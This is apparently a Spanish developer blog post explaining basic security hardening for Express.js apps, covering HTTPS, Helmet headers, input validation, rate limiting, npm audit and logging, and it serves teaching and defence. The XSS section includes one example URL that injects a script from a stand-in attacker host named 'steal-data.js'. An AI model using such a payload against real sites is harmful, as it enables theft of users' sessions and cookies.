Seguridad en Express.js

18 de junio 2019ComentariosjavascriptDavid Poza SuárezComentarios

Hoy vuelvo a hablar sobre seguridad y veremos unas cuantas prácticas básicas para garantizar un mínimo de confianza en los microservicios que creemos con el framework Express.js. Aunque la seguridad total no existe, si creo que en el desarrollo web es imprescindible conocer y aplicar, al menos, unas recomendaciones mínimas, pues todo aquello que programamos, sea más o menos importante, grande o pequeño, acaba tremendamente expuesto.

Aunque me centro en Express.js, evidentemente podríamos llevar estos sencillos consejos a otros frameworks y lenguajes, pues se trata de conceptos muy lógicos y bien descritos por la OWASP.

Usa Https

Este primer paso es tan sumamente obvio pero a la vez tan importante que no me canso de repetirlo, y tenía que estar en la lista obligatoriamente. Ya sabemos que una conexión por el protocolo HTTP emite el cuerpo del mensaje en texto plano, pudiendo contener este contraseñas y otra información importante, que quedarían visibles para cualquiera que escuche (sniffer) dentro de la red local. El ejemplo típico es estar conectado al WIFI de la cafetería o de la biblioteca, donde debemos acceder únicamente a sitios web que admitan el protocolo https, porque compartimos la red con otros usuarios desconocidos.

Incluso aunque usemos las redes 4g, donde es muy difícil, pero posible, que nos espíen cuando se van descubriendo vulnerabilidades. Por eso nunca está demás usar HTTPS, por mucho cifrado (Kasumi en 3g y Snow 3G en redes 4g) que exista en niveles inferiores, sobre todo porque en estos casos el medio es compartido. Por todo esto no es de extrañar que Chrome y demás navegadores lleven ya bastante tiempo incentivando su uso.

Otro punto importante es que existen autoridades como Let's encrypt, que emiten certificados para TLS de forma totalmente gratuita, por lo que, aún siendo estos realmente económicos, a día de hoy ni tan siquiera | es necesario pagar por uno.

Cuando usamos Express.js podemos exponer el servidor node.js directamente, pero no es lo más recomendado, y es común colocar un proxy (apache o nginx) por delante, y que sea este el encargado del cifrado en SSL. Que dicho sea de paso: hablamos de certificado para SSL por costumbre, pero en realidad el protocolo que usamos o deberíamos usar es TLS 1.2 o el nuevo 1.3, ya que el SSL 3.0 es inseguro a día de hoy.

Cuando usamos un proxy por encima de node.js, simplemente tendremos que asegurarnos de identificarlo como proxy de confianza para que la dirección del cliente sea la correcta y no la del propio proxy. Esto se logra mediante la siguiente variable en una de sus diferentes formas:

app.set(‘trust proxy’, true); //el valor de req.hostname se obtiene de la cabecera X-Forwarded-Host y el valor de req.ip se optiene de X-Forwarded-For
app.set(‘trust proxy’, ‘ip de tu proxy’);
app.set(‘trust proxy’, ‘ip1, ip2, ip3’);
app.set('trust proxy', function (ip) {
  if (ip === '127.0.0.1' || ip === '123.123.123.123') return true; // trusted IPs
  else return false;
});

Usar Helmet

La siguiente recomendación es usar Helmet, un paquete que recopila diferentes middleware, los cuales permiten añadir diferentes cabeceras en las peticiones y respuestas con el fin de evitar diversos tipos de ataque ampliamente conocidos en el mundo web.

En esta imagen podemos ver los tipos de ataques web más frecuentes en 2017. Extraída de [](http://blog.ptsecurity.com)

En esta imagen podemos ver los tipos de ataques web más frecuentes en 2017. Extraída de

De todos los middleware que incluye, aquellos que considero más importantes son estos:

  • xssFilter (Default): Establece X-XSS-Protection para habilitar el filtro que poseen los navegadores más recientes (muchos ya lo habilitan por defecto), que algo protege contra ataques Cross-site scripting (XSS), aunque no mucho porque es muy básico (y además la siguiente cabecera es mucho más potente). Los ataques XSS tienen como objetivo inyectar y ejecutar código Javascript o similar en el navegador del usuario, con lo que pueden robar sesiones, cookies o espiar sus acciones. El clásico ejemplo el de ejecución de un script por medio de una url del tipo:

    https://example.com/search?query=<script%20src="http://evil.example.com/steal-data.js"></script>
  • contentSecurityPolicy: Establece la cabecera Content-Security-Policy, de nuevo para evitar ataques XSS. Esta cabecera no hace otra cosa que controlar a qué dominios está permitido hacer peticiones desde nuestra web, una idea muy sencilla y a la vez muy potente. Podemos crear listas blancas según el tipo de peticiones: JavaScript, css, imágenes, fuentes, etc.

Así podría ejecutarse un ataque XSS por medio de un correo electrónico.

Así podría ejecutarse un ataque XSS por medio de un correo electrónico.

Así podría realizarse un ataque XSS si acceden a nuestro servidor ftp, usuario de Wordpress, etc. Imagen extraída de https://snyk.io/blog

Así podría realizarse un ataque XSS si acceden a nuestro servidor ftp, usuario de Wordpress, etc. Imagen extraída de https://snyk.io/blog

Directivas para contentSecurityPolicy en Helmet:

Por defecto estas directivas poseen el valor "*", lo que quiere decir que están abiertas o deshabilitadas, y que permiten la carga de contenido desde cualquier url. Pero podemos darles el valor 'self' para que solo incluyan el dominio actual (ojo!, no incluye subdominios), el valor 'none' para no permitir ese tipo de tráfico, el valor 'unsafe-inline' para permitir contenido inline, o bien una lista de dominios permitidos. NOTA: Los valores 'self', 'none' y 'unsafe-inline' deben incluir las comillas simples.

Desde Helmet especificaremos las listas mediante un array de cadenas aunque internamente se transforman y en realidad si inspeccionamos la cabecera veremos que las diferentes directivas van separadas por punto y coma y los elementos de una lista separados por espacio.

  • default-src: Permite cambiar el valor por defecto que van a tomar la mayoría de directivas (todas aquellas que acaban con -src).
  • script-src: Acepta una lista de sitios desde los que será posible cargar scripts en Javascript.
  • style-src: Acepta una lista de sitios desde los que será posible cargar estilos css.
  • img-src: Limita las direcciones desde las que podemos cargar imágenes.
  • media-src: Limita los posibles orígenes para audio y vídeo.
  • connect-src: Limita las direcciones a las que nos podemos conectar mediante la interfaz XHR (por ejemplo cuando hacemos llamadas ajax) o Websockets.
  • object-src: Posibilita el control de plugins como flash y otros.
  • base-uri: Limita las url que puede tomar como valor el elemento .
  • font-src: Permite determinar que servidores van a poder servir fuentes incluidas en nuestra web.
  • form-action Direcciones válidas para el envío de formularios.
  • frame-ancestors: Limita las url que pueden embeber nuestro contenido (usando iframe, frame, embed, applet, etc).
  • child-src: Es la directiva inversa a la anterior: limita las url que podemos embeber.
  • report-uri: Nos permite indicar la url a la que se van a enviar todos los informes de violación de alguna directiva que pudieran suceder. El envío se realiza mediante el verbo POST.
  • upgrade-insecure-requests: Obliga al navegador a pedir al servidor las url con el protocolo https en lugar de http.

La fortaleza de ContentSecurityPolicy radica en que todos los recursos se carguen desde una url, ya que si se inyecta un script inline, no habría forma de determinar si su origen es legítimo o no. Es por eso que la forma totalmente segura de actuar es, por defecto, bloquear todos los scripts inline. No obstante podemos deshabilitar esta protección incluyendo el valor 'unsafe-inline' en la lista blanca de la directiva en cuestión. Además en la versión 2.0 de CSP se incluye una vía para el uso de código inline, mediante un atributo nonce, que contiene un hash que debemos incluir en la lista blanca. NOTA: Evidentemente un hash nuevo debe ser generado del lado del servidor en cada petición.

Opción browserSniff

Por defecto este middleware detecta el navegador que hace la petición y varía algunas cabeceras en función de cuál sea este.

El problema viene cuando usamos servidores CDN (OJO!: No me refiero a enlazar a librerías en un CDN si no a servir nuestra web desde un servidor CDN), que cachearán una versión nueva de la petición con cada usuario y por tanto serán inútiles. Así que hay que forzar al middleware a que asuma siempre un Agent de navegador actual fijo, para que así las cabeceras no varíen y las peticiones cacheadas sean útiles porque se repitan en peticiones de distintos usuarios/navegadores.

  • frameguard (Default): Establece la cabecera X-Frame-Options para proporcionar protección contra el clickjacking. Dicha práctica consiste en engañar al usuario para que realice determinadas acciones en la web sin ser conscientes ello. Habitualmente se utiliza el método de cargar una página dentro de un iframe oculto con la intención de que el usuario crea que interactúa con la página que está visualizando, pero en realidad lo hace con la que se haya oculta. Esta cabecera se puede configurar para no permitir embeber la petición en ningún dominio (opción DENY), en el dominio propio (SAMEORIGIN) o bien en un dominio permitido. Por defecto se configura con la opción SAMEORIGIN, que solo permitirá que un iframe de nuestro dominio cargue nuestras páginas, pero no será posible desde cualquier otro.

Esta imagen describe la idea de funcionamiento de los ataques tipo clickjacking. Imagen de [ppp](http://geekybaba.commm)

Esta imagen describe la idea de funcionamiento de los ataques tipo clickjacking. Imagen de ppp

  • hsts (Default): Establece la cabecera Strict-Transport-Security que fuerza que después de una primera petición https, las siguientes conexiones a este dominio se realicen obligatoriamente https. Por defecto, esta restricción se mantiene durante 60 días.
  • hidePoweredBy (Default): Elimina la cabecera X-Powered-By, donde por defecto aparece el valor "Express", lo cual da pistas al atacante sobre posibles vulnerabilidades existentes ahora o en el futuro. Podríamos incluso falsear la cabecera con el valor que queramos para tratar de generar confusión.
  • noSniff (Default): Establece X-Content-Type-Options con el valor "nosniff" para evitar que los navegadores analizen el contenido de los ficheros para suponer su tipo MIME, pudiendo por ejemplo camuflar un javascript con otra extensión y por tanto enviarlo con una cabecera Content-Type: image/jpeg, pero que sin embargo el navegador detecte que se trata de código y que debe ejecutarlo.

La mayoría de los cabeceras se aplican automáticamente cuando inyectamos helmet del siguiente modo:

const helmet = require("helmet");
app.use(helmet())

Sin embargo con el caso de contentSecurityPolicy es necesario configurarlo.

app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc:\["'self'"\],
            scriptSrc:\["'self'"\],
            ...
        }
    }
}));

Validar JSON del parseo del body request

Tenemos que grabarnos a fuego lo siguiente: Nunca jamás debemos confiar en una entrada de datos.

De lo anterior podemos extraer la idea de validar siempre el tipo de datos que esperamos recibir. En este punto me centraré en validar los datos que parseamos habitualmente a JSON si usas Javascript, para lo cual vamos a usar el paquete jsonschema, que permite limitar la tipología de la entrada mediante la definición de schemas, de modo que estaremos evitando crasheos o ataques (o mismamente ataques DOS basados en una entrada que provoque un crasheo, de modo que repetido de forma continuada, acaba bloqueando el servicio por estar continuamente reiniciándose.

const regex\_password = /^(?=.\*\\d)(?=.\*\[a-z\])(?=.\*\[A-Z\])(?=.\*\[!?/@.-\_=\])\[0-9a-zA-Z!?/@.-\_=\]{8,}$/;
const validSchemas = {
    register\_user: {
        "type": "object",
        "properties": {
            "first\_name": { "type": "string", "minLength": 1, "maxLength": 40},
            "last\_name": { "type": "string", "minLength": 1, "maxLength": 40},
            "password": {
                "type": "string", "minLength": 8, "maxLength": 40,
                "pattern": regex\_password,
                "required": true
            },
            "email": {
                "type": "string", "minLength": 6, "maxLength": 40,
                "pattern": regex\_email,
                "required": true }
        },
        "additionalProperties": false
    }
};
module.exports = validSchemas;

const validate = require("jsonschema").validate;
let validation = validate(req.body, valid\_schemas.register\_user);
   if(!validation.valid)
       throw new error\_types.Error400(validation.errors);

Limita el tamaño del cuerpo de las peticiones

Igual que debemos controlar el tipo de datos de entrada, también debemos limitar su tamaño máximo para evitar ataques DOS.

body-parser es otro de los middleware más usados, su función es la de llevar a cabo el parseo del cuerpo de las peticiones. Por defecto tiene configurado un tamaño máximo del body de 100Kb, no obstante recuerda que si te ves obligado a ampliarlo, debes ajustarte a la cantidad mínima que necesites, evita valores innecesariamente altos.

Y por supuesto si usas otra librería diferente a body-parser debes buscar cuál es la opción que te permite realizar esta misma acción.

En la siguiente línea vemos cómo se inyectaría el parser de JSON con un límite de tamaño de 100kb. Todo tremendamente simple.

app.use(bodyParser.json({ limit: '100kb' }))

También sería interesante limitar el número de parámetros que podemos parsear, de nuevo usando el mínimo valor posible.

app.use(bodyParser.json({ parameterLimit: '1000' }))

Usar un ORM/asegurarse de sanear inputs a BD.

Aunque puede ser redundante en algunos puntos con respecto al anterior apartado, con el parseo del cuerpo del mensaje no cubrimos todas las vías de entrada posibles de nuestra aplicación, por ejemplo los parámetros recibidos vía params o query quedarían sin sanear.

Es por ello que en el caso de bases es preferible usar un ORM como mongoose antes que el driver mongodb, pues el primero, gracias a los esquemas (schemas) que define, realiza una conversión de los datos recibidos al tipo esperado y de este modo está saneando la entrada, algo que de un modo u otro siempre deberás hacer. De esta forma estaremos protegidos contra inyecciones no-sql, aunque si usas una BD relacional, la idea es la misma, debes protegerte contra las sql-injection. No obstante si no quieres usar un ORM, para el caso de mongodb, deberás el paquete usar mongo-sanitize o similar.

Limitar número de peticiones

Si estamos usando un proxy, podemos delegar esa tarea en apache (con el modulo mod_evasive) o nginx por ejemplo. Pero en caso contrario, podemos aplicar un límite de peticiones por ip dentro de una ventana temporal de la duración definida usando el paquete express-rate-limit. Por defecto almacena la tabla de direcciones y su conteo de peticiones en memoria, aunque se puede modificar.

const rateLimit     = require("express-rate-limit");
const apiLimiter = rateLimit({
    windowMs: 5 \* 60 \* 1000, //duración de la ventana de tiempo
    max: 100 //peticiones por up dentro de la ventana de tiempo
});

//para evitar que la ip del proxy se confunda con la del cliente, como ya hemos indicado en otro apartado más arriba
app.set("trust proxy", true);

app.use("/api/", apiLimiter); // solo aplicamos el limite de peticiones a la api

Limita el número de intentos de login

No queremos ataques que hagan uso de la fuerza bruta o similares para obtener las credenciales de acceso de nuestros usuarios, por lo que debemos establecer alguna limitación en el número de intentos que puede realizar una misma ip. Esto puede implementarse manualmente para lograr algo más o menos potente, pero también, como seguramente estés pensando, puedes solventarlo de forma sencilla usando la misma utilidad del punto anterior. Siempre y cuando hayas separado las funcionalidades relacionadas con la autenticación en una ruta concreta. Por ejemplo: https://prueba.com/api/auth/[acciones].

Por tanto simplemente has de aplicar el middleware express-rate-limit en la ruta del sistema de autenticación con unos parámetros más restrictivos que en el resto de endpoints.

Usar npm audit

Debemos hacer uso de npm audit, un comando disponible desde npm 5.10.0, que nos permite conocer rápidamente las vulnerabilidades existentes en nuestras dependencias. Es por esto que debemos ejecutarlo de forma periódica y si es posible automatizada, para estar al corriente de las mismas y poder actualizarlas cuanto antes. Dicha información sobre fallos de seguridad también está disponible en la web oficial del ecosistema de paquetes npm: https://www.npmjs.com/advisories.

Npm audit nos proporciona la misma información que las notificaciones de seguridad de Github cuando estamos alojando nuestro proyecto en un repositorio de esta plataforma.

Ejemplo de la salida que produce npm audit

Ejemplo de la salida que produce npm audit

Usar un logger

Del mismo modo que lo tenemos cuando usamos Apache, nginx y otros, debemos tener un sistema que se encargue de gestionar de forma eficiente un log de todo lo que ocurre durante la ejecución del servicio, pues es la primera herramienta que tenemos para detectar errores o intrusiones en ellos. Y en el caso de Express.js, cuando estamos empezando, normalmente no caemos en la cuenta de que ahora somos nosotros los que debemos encargarnos de esa labor, pues en realidad estamos generando todo un servidor http completo y no solo la aplicación web.

Incluso si estamos usando Express.js detrás de un proxy y éste ya genera un log de peticiones, aún así deberemos tener un log adicional de la aplicación. Igual que frameworks como Symfony o Django disponen de su propio módulo logger, en Express esto no es así porque estamos hablando de un microframework que incluye lo mínimo necesario y expande su funcionalidad con paquetes externos.

Para esta tarea un paquete muy usado y recomendado es winston, pues cumple con unas condiciones básicas.

  • dispone diferentes formatos para la entrada (simple, pretty, JSON, personalizado, etc...)
  • soporta varios niveles de log.
  • admite varios "transport" o sistemas donde dirigir los log, pudiendo por ejemplo usar el paquete winston-daily-rotate-file para disponer de rotación de logs o los básicos file transport o console transport (para dirigir los errores a consola).

Un ejemplo para enviar errores desde cualquier punto de nuestra aplicación, digamos desde un controlador:

const winston        = require("winston");
const utils         = require("../controllers/utils");
require("winston-daily-rotate-file");

const logger = winston.createLogger({
    transports: \[
        new (winston.transports.DailyRotateFile)({
            filename: "logs/%DATE%.log",
            datePattern: "YYYY-MM-DD-HH",
            zippedArchive: true,
            maxSize: "20m",
            maxFiles: "14d"
        })
    \],
    format: winston.format.combine(
        winston.format.timestamp({
            format: "DD-MM-YYYY HH:mm:ss"
        }),
        winston.format.printf(info => {
            let ret = {};
            ret.message = info.message || "";
            ret.ip = info.req? utils.getIp(info.req) : "";
            ret.timestamp = info.timestamp || "";
            ret.status = info.status || "";
            ret.level = info.level || "";
            ret.method = info.req? info.req.method : "";

            return (\`\[${ret.timestamp}\] ${ret.ip} ${ret.level} ${ret.method}:${ret.status} - ${ret.message}\`);
        })
    ),
    level: process.env.LOG\_LEVEL || "info", //siempre es recomendable configurar el log level desde un fichero de configuración
    exitOnError: false
});

module.exports = logger;

Y cuando queramos grabar un registro en el log:

logger.log({message:"Intento de login", level:"info", req });

Obtendríamos un log del siguiente estilo:

\[16-06-2019 19:28:45\]  info : - Conexión con mongodb exitosa
\[16-06-2019 19:28:45\]  info : - Servidor corriendo correctamente en la url: localhost:3000
\[16-06-2019 19:28:52\] ::1 error POST:404 - endpoint not found
\[16-06-2019 19:29:30\] ::1 info POST: - Intento de login
\[16-06-2019 19:29:30\] ::1 error POST:404 - email or password not correct.
\[16-06-2019 19:29:32\] ::1 info POST: - Intento de login

Conclusión

Evidentemente quedarían decenas de medidas de seguridad que aún deberíamos tener en cuenta, pero es un buen comienzo como primer acercamiento de fácil aplicación. Seguramente hablaré más veces sobre seguridad en el desarrollo web porque es un tema al que muchos desarrolladores no prestan la atención que merece hasta que llega el momento de llevarse las manos a la cabeza.

Documentación interesante sobre el tema